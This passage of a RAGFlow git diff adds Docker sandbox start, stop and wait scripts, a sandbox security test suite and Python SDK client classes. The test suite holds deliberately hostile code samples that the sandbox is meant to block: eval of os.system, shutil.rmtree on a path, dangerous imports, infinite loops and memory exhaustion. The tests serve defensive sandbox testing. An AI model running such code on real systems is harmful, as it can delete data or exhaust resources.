sandbox image for Nodejs ($SANDBOX_BASE_NODEJS_IMAGE)..." && + docker build -t "$SANDBOX_BASE_NODEJS_IMAGE" ./sandbox_base_image/nodejs +else + echo "⚠️ .env file not found, skipping build." +fi + +echo "🧹 STEP 2: Clean up old sandbox containers (sandbox_nodejs_0~$((SANDBOX_EXECUTOR_MANAGER_POOL_SIZE - 1)) and sandbox_python_0~$((SANDBOX_EXECUTOR_MANAGER_POOL_SIZE - 1))) ..." +for i in $(seq 0 $((SANDBOX_EXECUTOR_MANAGER_POOL_SIZE - 1))); do + echo "🧹 Deleting sandbox_python_$i..." + docker rm -f "sandbox_python_$i" >/dev/null 2>&1 || true + + echo "🧹 Deleting sandbox_nodejs_$i..." + docker rm -f "sandbox_nodejs_$i" >/dev/null 2>&1 || true +done + +echo "🔧 STEP 3: Build executor services ..." +docker compose build + +echo "🚀 STEP 4: Start services ..." +docker compose up -d + +echo "⏳ STEP 5a: Check if ports are open (basic connectivity) ..." +bash ./scripts/wait-for-it.sh "localhost" "$SANDBOX_EXECUTOR_MANAGER_PORT" -t 30 + +echo "⏳ STEP 5b: Check if the interfaces are healthy (/healthz) ..." +bash ./scripts/wait-for-it-http.sh "http://localhost:$SANDBOX_EXECUTOR_MANAGER_PORT/healthz" 30 + +echo "✅ STEP 6: Run security tests ..." +python3 ./tests/sandbox_security_tests_full.py + +echo "🎉 Service is ready: http://localhost:$SANDBOX_EXECUTOR_MANAGER_PORT/docs" diff --git a/sandbox/scripts/stop.sh b/sandbox/scripts/stop.sh new file mode 100644 index 0000000..51bd2b6 --- /dev/null +++ b/sandbox/scripts/stop.sh @@ -0,0 +1,40 @@ +#!/bin/bash +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +set -e + +BASE_DIR="$(cd "$(dirname "$0")/.." && pwd)" +cd "$BASE_DIR" + +echo "🛑 Stopping all services..." +docker compose down + +echo "🧹 Deleting sandbox containers..." +if [ -f .env ]; then + source .env + for i in $(seq 0 $((SANDBOX_EXECUTOR_MANAGER_POOL_SIZE - 1))); do + echo "🧹 Deleting sandbox_python_$i..." + docker rm -f "sandbox_python_$i" >/dev/null 2>&1 || true + + echo "🧹 Deleting sandbox_nodejs_$i..." + docker rm -f "sandbox_nodejs_$i" >/dev/null 2>&1 || true + done +else + echo "⚠️ .env not found, skipping container cleanup" +fi + +echo "✅ Stopping and cleanup complete" diff --git a/sandbox/scripts/wait-for-it-http.sh b/sandbox/scripts/wait-for-it-http.sh new file mode 100644 index 0000000..c99c497 --- /dev/null +++ b/sandbox/scripts/wait-for-it-http.sh @@ -0,0 +1,31 @@ +#!/bin/bash +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +url=$1 +timeout=${2:-15} +quiet=${3:-0} + +for i in $(seq "$timeout"); do + if curl -fs "$url" >/dev/null; then + [[ "$quiet" -ne 1 ]] && echo "✔ $url is healthy after $i seconds" + exit 0 + fi + sleep 1 +done + +echo "✖ Timeout after $timeout seconds waiting for $url" +exit 1 diff --git a/sandbox/scripts/wait-for-it.sh b/sandbox/scripts/wait-for-it.sh new file mode 100644 index 0000000..718f254 --- /dev/null +++ b/sandbox/scripts/wait-for-it.sh @@ -0,0 +1,50 @@ +#!/bin/bash +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +host=$1 +port=$2 +shift 2 + +timeout=15 +quiet=0 + +while [[ $# -gt 0 ]]; do + case "$1" in + -t | --timeout) + timeout="$2" + shift 2 + ;; + -q | --quiet) + quiet=1 + shift + ;; + *) + break + ;; + esac +done + +for i in $(seq "$timeout"); do + if nc -z "$host" "$port" >/dev/null 2>&1; then + [[ "$quiet" -ne 1 ]] && echo "✔ $host:$port is available after $i seconds" + exit 0 + fi + sleep 1 +done + +echo "✖ Timeout after $timeout seconds waiting for $host:$port" +exit 1 diff --git a/sandbox/tests/sandbox_security_tests_full.py b/sandbox/tests/sandbox_security_tests_full.py new file mode 100644 index 0000000..7581207 --- /dev/null +++ b/sandbox/tests/sandbox_security_tests_full.py @@ -0,0 +1,436 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import os +import textwrap +import time +from concurrent.futures import ThreadPoolExecutor, as_completed +from enum import Enum +from typing import Dict, Optional + +import requests +from pydantic import BaseModel + +API_URL = os.getenv("SANDBOX_API_URL", "http://localhost:9385/run") +TIMEOUT = 15 +MAX_WORKERS = 5 + + +class ResultStatus(str, Enum): + SUCCESS = "success" + PROGRAM_ERROR = "program_error" + RESOURCE_LIMIT_EXCEEDED = "resource_limit_exceeded" + UNAUTHORIZED_ACCESS = "unauthorized_access" + RUNTIME_ERROR = "runtime_error" + PROGRAM_RUNNER_ERROR = "program_runner_error" + + +class ResourceLimitType(str, Enum): + TIME = "time" + MEMORY = "memory" + OUTPUT = "output" + + +class UnauthorizedAccessType(str, Enum): + DISALLOWED_SYSCALL = "disallowed_syscall" + FILE_ACCESS = "file_access" + NETWORK_ACCESS = "network_access" + + +class RuntimeErrorType(str, Enum): + SIGNALLED = "signalled" + NONZERO_EXIT = "nonzero_exit" + + +class ExecutionResult(BaseModel): + status: ResultStatus + stdout: str + stderr: str + exit_code: int + detail: Optional[str] = None + resource_limit_type: Optional[ResourceLimitType] = None + unauthorized_access_type: Optional[UnauthorizedAccessType] = None + runtime_error_type: Optional[RuntimeErrorType] = None + + +class TestResult(BaseModel): + name: str + passed: bool + duration: float + expected_failure: bool = False + result: Optional[ExecutionResult] = None + error: Optional[str] = None + validation_error: Optional[str] = None + + +def encode_code(code: str) -> str: + return base64.b64encode(code.encode("utf-8")).decode("utf-8") + + +def execute_single_test(name: str, code: str, language: str, arguments: dict, expect_fail: bool = False) -> TestResult: + """Execute a single test case""" + payload = { + "code_b64": encode_code(textwrap.dedent(code)), + "language": language, + "arguments": arguments, + } + + test_result = TestResult(name=name, passed=False, duration=0, expected_failure=expect_fail) + + really_processed = False + try: + while not really_processed: + start_time = time.perf_counter() + + resp = requests.post(API_URL, json=payload, timeout=TIMEOUT) + resp.raise_for_status() + response_data = resp.json() + if response_data["exit_code"] == -429: # too many request + print(f"[{name}] Reached request limit, retring...") + time.sleep(0.5) + continue + really_processed = True + + print("-------------------") + print(f"{name}:\n{response_data}") + print("-------------------") + + test_result.duration = time.perf_counter() - start_time + test_result.result = ExecutionResult(**response_data) + + # Validate test result expectations + validate_test_result(name, expect_fail, test_result) + + except requests.exceptions.RequestException as e: + test_result.duration = time.perf_counter() - start_time + test_result.error = f"Request failed: {str(e)}" + test_result.result = ExecutionResult( + status=ResultStatus.PROGRAM_RUNNER_ERROR, + stdout="", + stderr=str(e), + exit_code=-999, + detail="request_failed", + ) + + return test_result + + +def validate_test_result(name: str, expect_fail: bool, test_result: TestResult): + """Validate if the test result meets expectations""" + if not test_result.result: + test_result.passed = False + test_result.validation_error = "No result returned" + return + + test_result.passed = test_result.result.status == ResultStatus.SUCCESS + # General validation logic + if expect_fail: + # Tests expected to fail should return a non-success status + if test_result.passed: + test_result.validation_error = "Expected failure but actually succeeded" + else: + # Tests expected to succeed should return a success status + if not test_result.passed: + test_result.validation_error = f"Unexpected failure (status={test_result.result.status})" + + +def get_test_cases() -> Dict[str, dict]: + """Return test cases (code, whether expected to fail)""" + return { + "1 Infinite loop: Should be forcibly terminated": { + "code": """ +def main(): + while True: + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "2 Infinite loop: Should be forcibly terminated": { + "code": """ +def main(): + while True: + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "3 Infinite loop: Should be forcibly terminated": { + "code": """ +def main(): + while True: + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "4 Infinite loop: Should be forcibly terminated": { + "code": """ +def main(): + while True: + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "5 Infinite loop: Should be forcibly terminated": { + "code": """ +def main(): + while True: + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "6 Infinite loop: Should be forcibly terminated": { + "code": """ +def main(): + while True: + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "7 Normal test: Python without dependencies": { + "code": """ +def main(): + return {"data": "hello, world"} + """, + "should_fail": False, + "arguments": {}, + "language": "python", + }, + "8 Normal test: Python with pandas, should pass without any error": { + "code": """ +import pandas as pd + +def main(): + data = {'Name': ['Alice', 'Bob', 'Charlie'], + 'Age': [25, 30, 35]} + df = pd.DataFrame(data) + """, + "should_fail": False, + "arguments": {}, + "language": "python", + }, + "9 Normal test: Nodejs without dependencies, should pass without any error": { + "code": """ +const https = require('https'); + +async function main(args) { + return new Promise((resolve, reject) => { + const req = https.get('https://example.com/', (res) => { + let data = ''; + + res.on('data', (chunk) => { + data += chunk; + }); + + res.on('end', () => { + clearTimeout(timeout); + console.log('Body:', data); + resolve(data); + }); + }); + + const timeout = setTimeout(() => { + req.destroy(new Error('Request timeout after 10s')); + }, 10000); + + req.on('error', (err) => { + clearTimeout(timeout); + console.error('Error:', err.message); + reject(err); + }); + }); +} + +module.exports = { main }; + """, + "should_fail": False, + "arguments": {}, + "language": "nodejs", + }, + "10 Normal test: Nodejs with axios, should pass without any error": { + "code": """ +const axios = require('axios'); + +async function main(args) { + try { + const response = await axios.get('https://example.com/', { + timeout: 10000 + }); + console.log('Body:', response.data); + } catch (error) { + console.error('Error:', error.message); + } +} + +module.exports = { main }; + """, + "should_fail": False, + "arguments": {}, + "language": "nodejs", + }, + "11 Dangerous import: Should fail due to os module import": { + "code": """ +import os + +def main(): + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "12 Dangerous import from subprocess: Should fail due to subprocess import": { + "code": """ +from subprocess import Popen + +def main(): + pass + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "13 Dangerous call: Should fail due to eval function call": { + "code": """ +def main(): + eval('os.system("echo hello")') + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "14 Dangerous attribute access: Should fail due to shutil.rmtree": { + "code": """ +import shutil + +def main(): + shutil.rmtree('/some/path') + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "15 Dangerous binary operation: Should fail due to unsafe concatenation leading to eval": { + "code": """ +def main(): + dangerous_string = "os." + "system" + eval(dangerous_string + '("echo hello")') + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "16 Dangerous function definition: Should fail due to user-defined eval function": { + "code": """ +def eval_function(): + eval('os.system("echo hello")') + +def main(): + eval_function() + """, + "should_fail": True, + "arguments": {}, + "language": "python", + }, + "17 Memory exhaustion(256m): Should fail due to exceeding memory limit(try to allocate 300m)": { + "code": """ +def main(): + x = ['a' * 1024 * 1024] * 300 # 300MB +""", + "should_fail": True, + "arguments": {}, + "language": "python", + }, + } + + +def print_test_report(results: Dict[str, TestResult]): + print("\n=== 🔍 Test Report ===") + + max_name_len = max(len(name) for name in results) + + for name, result in results.items(): + status = "✅" if result.passed else "❌" + if result.expected_failure: + status = "⚠️" if result.passed else "✓" # Expected failure case + + print(f"{status} {name.ljust(max_name_len)} {result.duration:.2f}s") + + if result.error: + print(f" REQUEST ERROR: {result.error}") + if result.validation_error: + print(f" VALIDATION ERROR: {result.validation_error}") + + if result.result and not result.passed: + print(f" STATUS: {result.result.status}") + if result.result.stderr: + print(f" STDERR: {result.result.stderr[:200]}...") + if result.result.detail: + print(f" DETAIL: {result.result.detail}") + + passed = sum(1 for r in results.values() if ((not r.expected_failure and r.passed) or (r.expected_failure and not r.passed))) + failed = len(results) - passed + + print("\n=== 📊 Statistics ===") + print(f"✅ Passed: {passed}") + print(f"❌ Failed: {failed}") + print(f"📌 Total: {len(results)}") + + +def main(): + print(f"🔐 Starting sandbox security tests (API: {API_URL})") + print(f"🚀 Concurrent threads: {MAX_WORKERS}") + + test_cases = get_test_cases() + results = {} + + with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: + futures = {} + for name, detail in test_cases.items(): + # ✅ Log when a task is submitted + print(f"✅ Task submitted: {name}") + time.sleep(0.4) + future = executor.submit(execute_single_test, name, detail["code"], detail["language"], detail["arguments"], detail["should_fail"]) + futures[future] = name + + print("\n=== 🚦 Test Progress ===") + for i, future in enumerate(as_completed(futures)): + name = futures[future] + print(f" {i + 1}/{len(test_cases)} completed: {name}") + try: + results[name] = future.result() + except Exception as e: + print(f"⚠️ Test {name} execution exception: {str(e)}") + results[name] = TestResult(name=name, passed=False, duration=0, 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"https://pypi.tuna.tsinghua.edu.cn/packages/2d/82/f56956041adef78f849db6b289b282e72b55ab8045a75abad81898c28d19/wrapt-1.17.2-py3-none-any.whl", hash = "sha256:b18f2d1533a71f069c7f82d524a52599053d4c7166e9dd374ae2136b7f40f7c8", size = 23594, upload-time = "2025-01-14T10:35:44.018Z" }, +] diff --git a/sdk/python/README.md b/sdk/python/README.md new file mode 100644 index 0000000..9904398 --- /dev/null +++ b/sdk/python/README.md @@ -0,0 +1,11 @@ +# ragflow-sdk + +# build and publish python SDK to pypi.org + +```shell +uv build +uv pip install twine +export TWINE_USERNAME="__token__" +export TWINE_PASSWORD=$YOUR_PYPI_API_TOKEN +twine upload dist/*.whl +``` diff --git a/sdk/python/hello_ragflow.py b/sdk/python/hello_ragflow.py new file mode 100644 index 0000000..5b73cb8 --- /dev/null +++ b/sdk/python/hello_ragflow.py @@ -0,0 +1,19 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import ragflow_sdk + +print(ragflow_sdk.__version__) diff --git a/sdk/python/pyproject.toml b/sdk/python/pyproject.toml new file mode 100644 index 0000000..cc9b426 --- /dev/null +++ b/sdk/python/pyproject.toml @@ -0,0 +1,31 @@ +[project] +name = "ragflow-sdk" +version = "0.20.5" +description = "Python client sdk of [RAGFlow](https://github.com/infiniflow/ragflow). RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine based on deep document understanding." +authors = [{ name = "Zhichang Yu", email = "yuzhichang@gmail.com" }] +license = { text = "Apache License, Version 2.0" } +readme = "README.md" +requires-python = ">=3.10,<3.13" +dependencies = ["requests>=2.30.0,<3.0.0", "beartype>=0.18.5,<0.19.0"] + + +[dependency-groups] +test = [ + "hypothesis>=6.131.9", + "openpyxl>=3.1.5", + "pillow>=11.1.0", + "pytest>=8.3.5", + "python-docx>=1.1.2", + "python-pptx>=1.0.2", + "reportlab>=4.3.1", + "requests>=2.32.3", + "requests-toolbelt>=1.0.0", +] + + +[tool.pytest.ini_options] +markers = [ + "p1: high priority test cases", + "p2: medium priority test cases", + "p3: low priority test cases", +] diff --git a/sdk/python/ragflow_sdk/__init__.py b/sdk/python/ragflow_sdk/__init__.py new file mode 100644 index 0000000..7535aa4 --- /dev/null +++ b/sdk/python/ragflow_sdk/__init__.py @@ -0,0 +1,40 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from beartype.claw import beartype_this_package +beartype_this_package() + +import importlib.metadata + +from .ragflow import RAGFlow +from .modules.dataset import DataSet +from .modules.chat import Chat +from .modules.session import Session +from .modules.document import Document +from .modules.chunk import Chunk +from .modules.agent import Agent + +__version__ = importlib.metadata.version("ragflow_sdk") + +__all__ = [ + "RAGFlow", + "DataSet", + "Chat", + "Session", + "Document", + "Chunk", + "Agent" +] \ No newline at end of file diff --git a/sdk/python/ragflow_sdk/modules/__init__.py b/sdk/python/ragflow_sdk/modules/__init__.py new file mode 100644 index 0000000..e156bc9 --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# \ No newline at end of file diff --git a/sdk/python/ragflow_sdk/modules/agent.py b/sdk/python/ragflow_sdk/modules/agent.py new file mode 100644 index 0000000..42b97a8 --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/agent.py @@ -0,0 +1,94 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from .base import Base +from .session import Session + + +class Agent(Base): + def __init__(self, rag, res_dict): + self.id = None + self.avatar = None + self.canvas_type = None + self.description = None + self.dsl = None + super().__init__(rag, res_dict) + + class Dsl(Base): + def __init__(self, rag, res_dict): + self.answer = [] + self.components = { + "begin": { + "downstream": ["Answer:China"], + "obj": { + "component_name": "Begin", + "params": {} + }, + "upstream": [] + } + } + self.graph = { + "edges": [], + "nodes": [ + { + "data": { + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "position": { + "x": 50, + "y": 200 + }, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + } + ] + } + self.history = [] + self.messages = [] + self.path = [] + self.reference = [] + super().__init__(rag, res_dict) + + + def create_session(self, **kwargs) -> Session: + res = self.post(f"/agents/{self.id}/sessions", json=kwargs) + res = res.json() + if res.get("code") == 0: + return Session(self.rag, res.get("data")) + raise Exception(res.get("message")) + + + def list_sessions(self, page: int = 1, page_size: int = 30, orderby: str = "create_time", desc: bool = True, + id: str = None) -> list[Session]: + res = self.get(f"/agents/{self.id}/sessions", + {"page": page, "page_size": page_size, "orderby": orderby, "desc": desc, "id": id}) + res = res.json() + if res.get("code") == 0: + result_list = [] + for data in res.get("data"): + temp_agent = Session(self.rag, data) + result_list.append(temp_agent) + return result_list + raise Exception(res.get("message")) + + def delete_sessions(self, ids: list[str] | None = None): + res = self.rm(f"/agents/{self.id}/sessions", {"ids": ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res.get("message")) \ No newline at end of file diff --git a/sdk/python/ragflow_sdk/modules/base.py b/sdk/python/ragflow_sdk/modules/base.py new file mode 100644 index 0000000..6b958fb --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/base.py @@ -0,0 +1,58 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +class Base: + def __init__(self, rag, res_dict): + self.rag = rag + self._update_from_dict(rag, res_dict) + + def _update_from_dict(self, rag, res_dict): + for k, v in res_dict.items(): + if isinstance(v, dict): + self.__dict__[k] = Base(rag, v) + else: + self.__dict__[k] = v + + def to_json(self): + pr = {} + for name in dir(self): + value = getattr(self, name) + if not name.startswith("__") and not callable(value) and name != "rag": + if isinstance(value, Base): + pr[name] = value.to_json() + else: + pr[name] = value + return pr + + def post(self, path, json=None, stream=False, files=None): + res = self.rag.post(path, json, stream=stream, files=files) + return res + + def get(self, path, params=None): + res = self.rag.get(path, params) + return res + + def rm(self, path, json): + res = self.rag.delete(path, json) + return res + + def put(self, path, json): + res = self.rag.put(path, json) + return res + + def __str__(self): + return str(self.to_json()) diff --git a/sdk/python/ragflow_sdk/modules/chat.py b/sdk/python/ragflow_sdk/modules/chat.py new file mode 100644 index 0000000..5935b5b --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/chat.py @@ -0,0 +1,87 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +from .base import Base +from .session import Session + + +class Chat(Base): + def __init__(self, rag, res_dict): + self.id = "" + self.name = "assistant" + self.avatar = "path/to/avatar" + self.llm = Chat.LLM(rag, {}) + self.prompt = Chat.Prompt(rag, {}) + super().__init__(rag, res_dict) + + class LLM(Base): + def __init__(self, rag, res_dict): + self.model_name = None + self.temperature = 0.1 + self.top_p = 0.3 + self.presence_penalty = 0.4 + self.frequency_penalty = 0.7 + self.max_tokens = 512 + super().__init__(rag, res_dict) + + class Prompt(Base): + def __init__(self, rag, res_dict): + self.similarity_threshold = 0.2 + self.keywords_similarity_weight = 0.7 + self.top_n = 8 + self.top_k = 1024 + self.variables = [{"key": "knowledge", "optional": True}] + self.rerank_model = "" + self.empty_response = None + self.opener = "Hi! I'm your assistant. What can I do for you?" + self.show_quote = True + self.prompt = ( + "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. " + "Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, " + "your answer must include the sentence 'The answer you are looking for is not found in the knowledge base!' " + "Answers need to consider chat history.\nHere is the knowledge base:\n{knowledge}\nThe above is the knowledge base." + ) + super().__init__(rag, res_dict) + + def update(self, update_message: dict): + res = self.put(f"/chats/{self.id}", update_message) + res = res.json() + if res.get("code") != 0: + raise Exception(res["message"]) + + def create_session(self, name: str = "New session") -> Session: + res = self.post(f"/chats/{self.id}/sessions", {"name": name}) + res = res.json() + if res.get("code") == 0: + return Session(self.rag, res["data"]) + raise Exception(res["message"]) + + def list_sessions(self, page: int = 1, page_size: int = 30, orderby: str = "create_time", desc: bool = True, id: str = None, name: str = None) -> list[Session]: + res = self.get(f"/chats/{self.id}/sessions", {"page": page, "page_size": page_size, "orderby": orderby, "desc": desc, "id": id, "name": name}) + res = res.json() + if res.get("code") == 0: + result_list = [] + for data in res["data"]: + result_list.append(Session(self.rag, data)) + return result_list + raise Exception(res["message"]) + + def delete_sessions(self, ids: list[str] | None = None): + res = self.rm(f"/chats/{self.id}/sessions", {"ids": ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res.get("message")) diff --git a/sdk/python/ragflow_sdk/modules/chunk.py b/sdk/python/ragflow_sdk/modules/chunk.py new file mode 100644 index 0000000..b71314d --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/chunk.py @@ -0,0 +1,57 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from .base import Base + +class ChunkUpdateError(Exception): + def __init__(self, code=None, message=None, details=None): + self.code = code + self.message = message + self.details = details + super().__init__(message) + +class Chunk(Base): + def __init__(self, rag, res_dict): + self.id = "" + self.content = "" + self.important_keywords = [] + self.questions = [] + self.create_time = "" + self.create_timestamp = 0.0 + self.dataset_id = None + self.document_name = "" + self.document_id = "" + self.available = True + # Additional fields for retrieval results + self.similarity = 0.0 + self.vector_similarity = 0.0 + self.term_similarity = 0.0 + self.positions = [] + self.doc_type = "" + for k in list(res_dict.keys()): + if k not in self.__dict__: + res_dict.pop(k) + super().__init__(rag, res_dict) + + def update(self, update_message: dict): + res = self.put(f"/datasets/{self.dataset_id}/documents/{self.document_id}/chunks/{self.id}", update_message) + res = res.json() + if res.get("code") != 0: + raise ChunkUpdateError( + code=res.get("code"), + message=res.get("message"), + details=res.get("details") + ) \ No newline at end of file diff --git a/sdk/python/ragflow_sdk/modules/dataset.py b/sdk/python/ragflow_sdk/modules/dataset.py new file mode 100644 index 0000000..b4367ac --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/dataset.py @@ -0,0 +1,114 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from .base import Base +from .document import Document + + +class DataSet(Base): + class ParserConfig(Base): + def __init__(self, rag, res_dict): + super().__init__(rag, res_dict) + + def __init__(self, rag, res_dict): + self.id = "" + self.name = "" + self.avatar = "" + self.tenant_id = None + self.description = "" + self.embedding_model = "" + self.permission = "me" + self.document_count = 0 + self.chunk_count = 0 + self.chunk_method = "naive" + self.parser_config = None + self.pagerank = 0 + for k in list(res_dict.keys()): + if k not in self.__dict__: + res_dict.pop(k) + super().__init__(rag, res_dict) + + def update(self, update_message: dict): + res = self.put(f"/datasets/{self.id}", update_message) + res = res.json() + if res.get("code") != 0: + raise Exception(res["message"]) + + self._update_from_dict(self.rag, res.get("data", {})) + return self + + def upload_documents(self, document_list: list[dict]): + url = f"/datasets/{self.id}/documents" + files = [("file", (ele["display_name"], ele["blob"])) for ele in document_list] + res = self.post(path=url, json=None, files=files) + res = res.json() + if res.get("code") == 0: + doc_list = [] + for doc in res["data"]: + document = Document(self.rag, doc) + doc_list.append(document) + return doc_list + raise Exception(res.get("message")) + + def list_documents( + self, + id: str | None = None, + name: str | None = None, + keywords: str | None = None, + page: int = 1, + page_size: int = 30, + orderby: str = "create_time", + desc: bool = True, + create_time_from: int = 0, + create_time_to: int = 0, + ): + params = { + "id": id, + "name": name, + "keywords": keywords, + "page": page, + "page_size": page_size, + "orderby": orderby, + "desc": desc, + "create_time_from": create_time_from, + "create_time_to": create_time_to, + } + res = self.get(f"/datasets/{self.id}/documents", params=params) + res = res.json() + documents = [] + if res.get("code") == 0: + for document in res["data"].get("docs"): + documents.append(Document(self.rag, document)) + return documents + raise Exception(res["message"]) + + def delete_documents(self, ids: list[str] | None = None): + res = self.rm(f"/datasets/{self.id}/documents", {"ids": ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res["message"]) + + def async_parse_documents(self, document_ids): + res = self.post(f"/datasets/{self.id}/chunks", {"document_ids": document_ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res.get("message")) + + def async_cancel_parse_documents(self, document_ids): + res = self.rm(f"/datasets/{self.id}/chunks", {"document_ids": document_ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res.get("message")) diff --git a/sdk/python/ragflow_sdk/modules/document.py b/sdk/python/ragflow_sdk/modules/document.py new file mode 100644 index 0000000..70c1ac8 --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/document.py @@ -0,0 +1,101 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# 